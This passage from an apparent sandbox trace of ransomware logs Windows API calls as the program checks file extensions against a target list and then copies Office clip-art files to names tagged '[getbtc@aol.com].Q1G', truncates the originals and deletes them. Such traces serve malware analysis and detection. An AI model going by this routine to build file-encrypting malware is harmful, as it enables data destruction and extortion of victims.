(lpString1=".doc", lpString2=".JPG") returned -1 [0262.031] lstrlenW (lpString=".docx") returned 5 [0262.031] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0262.031] lstrlenW (lpString=".pdf") returned 4 [0262.031] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.031] lstrlenW (lpString=".xls") returned 4 [0262.031] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.032] lstrlenW (lpString=".xlsx") returned 5 [0262.032] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0262.032] lstrlenW (lpString=".ppt") returned 4 [0262.032] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.032] lstrlenW (lpString=".zip") returned 4 [0262.032] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.032] lstrlenW (lpString=".rar") returned 4 [0262.032] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.032] lstrlenW (lpString=".bz2") returned 4 [0262.032] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.032] lstrlenW (lpString=".7z") returned 3 [0262.032] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.032] lstrlenW (lpString=".dbf") returned 4 [0262.032] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.032] lstrlenW (lpString=".1cd") returned 4 [0262.032] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0262.032] lstrlenW (lpString=".jpg") returned 4 [0262.032] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.032] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0262.032] lstrlenW (lpString="J0149118.JPG") returned 12 [0262.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.367] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=64802) returned 1 [0262.367] CloseHandle (hObject=0x39c) returned 1 [0262.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 0x20 [0262.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.376] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.376] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.378] GetLastError () returned 0x0 [0262.378] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xfd22, lpOverlapped=0x0) returned 1 [0262.423] WriteFile (in: hFile=0x1b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xfd30, lpOverlapped=0x0) returned 1 [0262.425] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.425] WriteFile (in: hFile=0x1b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.425] SetEndOfFile (hFile=0x1b8) returned 1 [0262.425] CloseHandle (hObject=0x1b8) returned 1 [0262.425] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.425] SetEndOfFile (hFile=0x1f8) returned 1 [0262.428] CloseHandle (hObject=0x1f8) returned 1 [0262.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.429] lstrlenW (lpString=".doc") returned 4 [0262.429] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.429] lstrlenW (lpString=".docx") returned 5 [0262.429] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0262.429] lstrlenW (lpString=".pdf") returned 4 [0262.429] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.429] lstrlenW (lpString=".xls") returned 4 [0262.429] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.429] lstrlenW (lpString=".xlsx") returned 5 [0262.429] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0262.429] lstrlenW (lpString=".ppt") returned 4 [0262.430] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.430] lstrlenW (lpString=".zip") returned 4 [0262.430] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.430] lstrlenW (lpString=".rar") returned 4 [0262.430] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.430] lstrlenW (lpString=".bz2") returned 4 [0262.430] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.430] lstrlenW (lpString=".7z") returned 3 [0262.430] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.430] lstrlenW (lpString=".dbf") returned 4 [0262.430] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.430] lstrlenW (lpString=".1cd") returned 4 [0262.430] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.430] lstrlenW (lpString=".jpg") returned 4 [0262.430] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.430] lstrlenW (lpString=".doc") returned 4 [0262.430] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.430] lstrlenW (lpString=".docx") returned 5 [0262.430] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0262.430] lstrlenW (lpString=".pdf") returned 4 [0262.430] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.430] lstrlenW (lpString=".xls") returned 4 [0262.430] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.430] lstrlenW (lpString=".xlsx") returned 5 [0262.430] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0262.430] lstrlenW (lpString=".ppt") returned 4 [0262.430] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.430] lstrlenW (lpString=".zip") returned 4 [0262.430] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.430] lstrlenW (lpString=".rar") returned 4 [0262.431] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.431] lstrlenW (lpString=".bz2") returned 4 [0262.431] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.431] lstrlenW (lpString=".7z") returned 3 [0262.431] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.431] lstrlenW (lpString=".dbf") returned 4 [0262.431] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.431] lstrlenW (lpString=".1cd") returned 4 [0262.431] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0262.431] lstrlenW (lpString=".jpg") returned 4 [0262.431] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.431] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.431] lstrlenW (lpString="J0151067.WMF") returned 12 [0262.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.432] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=13204) returned 1 [0262.432] CloseHandle (hObject=0x1f8) returned 1 [0262.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 0x20 [0262.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.432] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.432] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.433] GetLastError () returned 0x0 [0262.433] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3394, lpOverlapped=0x0) returned 1 [0262.477] WriteFile (in: hFile=0x1b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x33a0, lpOverlapped=0x0) returned 1 [0262.478] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.478] WriteFile (in: hFile=0x1b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.478] SetEndOfFile (hFile=0x1b8) returned 1 [0262.478] CloseHandle (hObject=0x1b8) returned 1 [0262.478] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.478] SetEndOfFile (hFile=0x1f8) returned 1 [0262.480] CloseHandle (hObject=0x1f8) returned 1 [0262.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0262.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.481] lstrlenW (lpString=".doc") returned 4 [0262.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.481] lstrlenW (lpString=".docx") returned 5 [0262.481] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.481] lstrlenW (lpString=".pdf") returned 4 [0262.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString=".xls") returned 4 [0262.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.482] lstrlenW (lpString=".xlsx") returned 5 [0262.482] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.482] lstrlenW (lpString=".ppt") returned 4 [0262.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.482] lstrlenW (lpString=".zip") returned 4 [0262.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.482] lstrlenW (lpString=".rar") returned 4 [0262.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString=".bz2") returned 4 [0262.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString=".7z") returned 3 [0262.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.482] lstrlenW (lpString=".dbf") returned 4 [0262.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.482] lstrlenW (lpString=".1cd") returned 4 [0262.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.482] lstrlenW (lpString=".jpg") returned 4 [0262.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.482] lstrlenW (lpString=".doc") returned 4 [0262.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString=".docx") returned 5 [0262.482] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.482] lstrlenW (lpString=".pdf") returned 4 [0262.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.482] lstrlenW (lpString=".xls") returned 4 [0262.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.482] lstrlenW (lpString=".xlsx") returned 5 [0262.483] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.483] lstrlenW (lpString=".ppt") returned 4 [0262.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.483] lstrlenW (lpString=".zip") returned 4 [0262.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.483] lstrlenW (lpString=".rar") returned 4 [0262.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.483] lstrlenW (lpString=".bz2") returned 4 [0262.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.483] lstrlenW (lpString=".7z") returned 3 [0262.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.483] lstrlenW (lpString=".dbf") returned 4 [0262.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.483] lstrlenW (lpString=".1cd") returned 4 [0262.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0262.483] lstrlenW (lpString=".jpg") returned 4 [0262.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.483] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.483] lstrlenW (lpString="J0152414.WMF") returned 12 [0262.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.491] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=24844) returned 1 [0262.491] CloseHandle (hObject=0x1bc) returned 1 [0262.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 0x20 [0262.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.492] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.492] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.493] GetLastError () returned 0x0 [0262.493] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x610c, lpOverlapped=0x0) returned 1 [0262.495] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x6110, lpOverlapped=0x0) returned 1 [0262.496] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.496] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.496] SetEndOfFile (hFile=0x3d8) returned 1 [0262.496] CloseHandle (hObject=0x3d8) returned 1 [0262.496] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.496] SetEndOfFile (hFile=0x1bc) returned 1 [0262.499] CloseHandle (hObject=0x1bc) returned 1 [0262.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0262.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString=".doc") returned 4 [0262.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString=".docx") returned 5 [0262.500] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.500] lstrlenW (lpString=".pdf") returned 4 [0262.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString=".xls") returned 4 [0262.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.500] lstrlenW (lpString=".xlsx") returned 5 [0262.500] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.500] lstrlenW (lpString=".ppt") returned 4 [0262.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString=".zip") returned 4 [0262.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.500] lstrlenW (lpString=".rar") returned 4 [0262.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString=".bz2") returned 4 [0262.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString=".7z") returned 3 [0262.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString=".dbf") returned 4 [0262.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString=".1cd") returned 4 [0262.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString=".jpg") returned 4 [0262.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.500] lstrlenW (lpString=".doc") returned 4 [0262.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.501] lstrlenW (lpString=".docx") returned 5 [0262.501] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.501] lstrlenW (lpString=".pdf") returned 4 [0262.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.501] lstrlenW (lpString=".xls") returned 4 [0262.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.501] lstrlenW (lpString=".xlsx") returned 5 [0262.501] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.501] lstrlenW (lpString=".ppt") returned 4 [0262.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.501] lstrlenW (lpString="C:\\Program Files\\Microsoft 